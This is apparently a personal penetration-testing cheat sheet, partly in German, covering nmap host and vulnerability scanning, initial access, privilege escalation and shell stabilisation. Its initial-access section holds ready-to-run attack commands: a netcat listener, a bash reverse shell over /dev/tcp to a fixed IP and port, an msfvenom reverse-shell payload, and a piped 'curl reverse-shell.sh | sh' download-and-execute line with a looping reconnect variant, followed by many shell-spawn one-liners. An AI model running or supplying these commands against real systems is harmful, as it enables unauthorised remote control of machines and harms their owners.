pentesting/Cheatsheet.md

to install:

• magic wormhole
• tldr
• rlwrap

sudo apt update --fix-missing && sudo apt install magic-wormhole tealdeer rlwrap

for keyring

-> if there is some kind of keyring error

sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg

information gathering

nmap

for quick scan of available ips

nmap -sn ip/24

to filter output for open ips

nmap -sn 192.168.1.0/24 | grep "for " | awk '{print $5}' > ips.txt

scan open ports:

nmap -sCV -A -p $(nmap 192.168.1.155 -p- | grep open | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/.$//') 192.168.1.155 

bei windows

nmap --vuln ip  

bei windows + smb

nmap --script vuln-smb* ip  
nicht mehr sicher welches es war
nmap --script smb-vuln* ip  

inital access

start listener:

rlwrap -cAr nc -nlvp 9002

reverse shell bash:

/bin/bash -i >& /dev/tcp/192.168.1.157/9002 0>&1

reverse shell file:

msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.157 LPORT=9002 -f raw -o rev.py

-> from revshells.com

untested:

Reverse Shell as a Service

1. On your machine:

      nc -l 1337
	  or nlvp?

2. On the target machine:

      curl https://reverse-shell.sh/yourip:1337 | sh

reconnecting:

while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done

privilege escalation

always run these:

sudo -l

if sudo doesn't work: #^78d3ce

check cronjobs

ls /etc/cron.*
crontab -l

TTY Spawn Shell

if sudo still doesn't work

use

sudo -S command

Often during pen tests you may obtain a shell without having tty, yet wish to interact further with the system. Here are some commands which will allow you to spawn a tty shell. Obviously some of this will depend on the system environment and installed packages.

Python spawn shell

python -c 'import pty; pty.spawn("/bin/bash")'

Fully Interactive TTY

All the steps to stabilize your shell

The first step:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys.

Step two is:

export TERM=xterm

This will give us access to term commands such as clear.

Finally (and most importantly) we will background the shell using

Ctrl + Z

Back in our own terminal we use

stty raw -echo; fg

This does two things: first, it turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes

stty rows 38 columns 116

OS system spawn shell

echo os.system("/bin/bash")

Bash spawn shell

/bin/sh -i

Perl spawn shell

perl —e 'exec "/bin/sh";'

Ruby spawn shell

ruby: exec "/bin/sh"

Lua spawn shell

lua: os.execute("/bin/sh")

IRB spawn shell

exec "/bin/sh"

VI spawn shell

:!bash

VI(2) spawn shell

:set shell=/bin/bash:shell

Nmap spawn shell

!sh

Exiftools

Metadaten auslesen:

exiftool picture.png  

Binwalk (Binary Daten exportieren):

binwalk -e picture.png